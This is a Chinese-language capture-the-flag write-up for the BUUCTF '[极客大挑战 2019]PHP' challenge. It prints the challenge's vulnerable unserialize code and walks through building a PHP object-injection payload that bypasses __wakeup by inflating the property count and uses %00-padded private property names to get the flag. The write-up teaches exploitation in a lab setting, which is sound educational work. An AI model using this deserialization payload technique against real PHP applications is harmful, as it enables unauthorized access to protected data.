128,【1】buuctf [极客大挑战 2019]PHP

进入靶场

提示了备份文件

抓包,扫描

扫描出了两个有反应的

访问index.php没反应,但www.zip成功下载了文件

index.php里得到如下有用信息

php 复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

所以我们要通过GET 方式传递 select 参数的值,并对该值进行序列化操作

?select=

再去查看class.php

php 复制代码
<?php
// 包含 flag.php 文件
include 'flag.php';

// 设置错误报告级别为 0,意味着不显示任何 PHP 错误信息
error_reporting(0);

// 定义一个名为 Name 的类
class Name{
    // 定义一个私有属性 $username,初始值为 'nonono'
    // 私有属性只能在类内部访问
    private $username = 'nonono';
    // 定义一个私有属性 $password,初始值为 'yesyes'
    private $password = 'yesyes';

    // 构造函数,当创建 Name 类的对象时会自动调用
    // 接收两个参数 $username 和 $password,用于初始化对象的属性
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    // __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用
    // 此方法将对象的 $username 属性重置为 'guest'
    function __wakeup(){
        $this->username = 'guest';
    }

    // __destruct 析构函数,当对象被销毁时会自动调用
    function __destruct(){
        // 检查对象的 $password 属性是否不等于 100
        if ($this->password != 100) {
            // 如果不等于 100,输出提示信息,表明是黑客行为
            echo "</br>NO!!!hacker!!!</br>";
            // 输出用户名信息
            echo "You name is: ";
            echo $this->username;
            echo "</br>";
            // 输出密码信息
            echo "You password is: ";
            echo $this->password;
            echo "</br>";
            // 终止脚本执行
            die();
        }
        // 检查对象的 $username 属性是否严格等于 'admin'
        if ($this->username === 'admin') {
            // 如果是 'admin',将全局变量 $flag 引入当前作用域
            global $flag;
            // 输出存储在 $flag 中的 flag 信息
            echo $flag;
        } else {
            // 如果不是 'admin',输出友好提示信息,并表明无法提供 flag
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            // 终止脚本执行
            die();
        }
    }
}
?>

得知username和password,且值为admin和100

还需绕过_wakeup方法

通过改属性个数实现

username=admin&password=100

其他好像不用看了,试着开始构造

php 复制代码
<?php

class Name{
    private $username = 'admin';
    private $password = '100';
    }

$a=new Name();
$b=serialize(@$a);
echo $b
?>
复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

修改属性个数

复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

因为是两个属性

添加%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag

相关推荐
委婉待续几秒前
Qt的学习(一)
开发语言·qt·学习
笨笨马甲几秒前
Qt Quick Layout功能及架构
开发语言·qt
Dovis(誓平步青云)10 分钟前
探索C++标准模板库(STL):String接口的底层实现(下篇)
开发语言·c++·stl·string
海棠一号14 分钟前
JAVA理论第五章-JVM
java·开发语言·jvm
草莓熊Lotso43 分钟前
【数据结构初阶】--算法复杂度的深度解析
c语言·开发语言·数据结构·经验分享·笔记·其他·算法
海的诗篇_1 小时前
前端开发面试题总结-JavaScript篇(二)
开发语言·前端·javascript·typescript
cccc来财1 小时前
Go中的协程并发和并发panic处理
开发语言·后端·golang
狐凄1 小时前
Python实例题:Python计算线性代数
开发语言·python·线性代数
惊鸿一博2 小时前
java_网络服务相关_gateway_nacos_feign区别联系
java·开发语言·gateway
Bruce_Liuxiaowei2 小时前
深入理解PHP安全漏洞:文件包含与SSRF攻击全解析
开发语言·网络安全·php